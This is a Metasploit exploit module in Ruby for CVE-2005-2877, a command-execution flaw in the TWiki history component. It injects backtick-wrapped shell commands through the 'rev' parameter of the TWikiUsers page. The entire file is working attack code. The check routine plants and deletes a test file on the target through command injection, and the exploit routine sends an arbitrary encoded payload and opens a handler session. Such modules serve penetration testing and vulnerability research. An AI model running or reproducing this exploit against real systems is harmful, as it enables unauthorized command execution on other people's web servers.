TWiki History TWikiUsers rev Parameter Command Execution

`##  
# $Id: twiki_history.rb 8578 2010-02-21 20:31:09Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TWiki History TWikiUsers rev Parameter Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the history component of TWiki.  
By passing a 'rev' parameter containing shell metacharacters to the TWikiUsers   
script, an attacker can execute arbitrary OS commands.  
},  
'Author' =>  
[  
'B4dP4nd4', # original discovery  
'jduck' # metasploit version  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 8578 $',  
'References' =>  
[  
[ 'CVE', '2005-2877' ],  
[ 'OSVDB', '19403' ],  
[ 'BID', '14384' ],  
[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ]  
],  
'Privileged' => true, # web server context  
'Payload' =>  
{  
'DisableNops' => true,  
'BadChars' => '',  
'Space' => 1024,  
},  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Sep 14 2005',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),  
], self.class)  
end  
  
  
#  
# NOTE: This is not perfect, since it requires write access to the bin  
# directory. Unfortunately, detrmining the main directory isn't  
# trivial, or otherwise I would write there (required to be writable  
# per installation steps).  
#  
def check  
test_file = rand_text_alphanumeric(8+rand(8))  
cmd_base = datastore['URI'] + '/view/Main/TWikiUsers?rev='  
test_url = datastore['URI'] + '/' + test_file  
  
# first see if it already exists (it really shouldn't)  
res = send_request_raw({  
'uri' => test_url  
}, 25)  
if (not res) or (res.code != 404)  
print_error("WARNING: The test file exists already!")  
return Exploit::CheckCode::Safe  
end  
  
# try to create it  
print_status("Attempting to create #{test_url} ...")  
rev = rand_text_numeric(1+rand(5)) + ' `touch ' + test_file + '`#'  
res = send_request_raw({  
'uri' => cmd_base + Rex::Text.uri_encode(rev)  
}, 25)  
if (not res) or (res.code != 200)  
return Exploit::CheckCode::Safe  
end  
  
# try to run it, 500 code == successfully made it  
res = send_request_raw({  
'uri' => test_url  
}, 25)  
if (not res) or (res.code != 500)  
return Exploit::CheckCode::Safe  
end  
  
# delete the tmp file  
print_status("Attempting to delete #{test_url} ...")  
rev = rand_text_numeric(1+rand(5)) + ' `rm -f ' + test_file + '`#'  
res = send_request_raw({  
'uri' => cmd_base + Rex::Text.uri_encode(rev)  
}, 25)  
if (not res) or (res.code != 200)  
print_error("WARNING: unable to remove test file (#{test_file})")  
end  
  
return Exploit::CheckCode::Vulnerable  
end  
  
  
def exploit  
  
rev = rand_text_numeric(1+rand(5))  
rev << ' `' + payload.encoded + '`#'  
query_str = datastore['URI'] + '/view/Main/TWikiUsers'  
query_str << '?rev='  
query_str << Rex::Text.uri_encode(rev)  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => query_str,  
}, 25)  
  
if (res and res.code == 200)  
print_status("Successfully sent exploit request")  
else  
raise RuntimeError, "Error sending exploit request"  
end  
  
handler  
end  
  
end  
`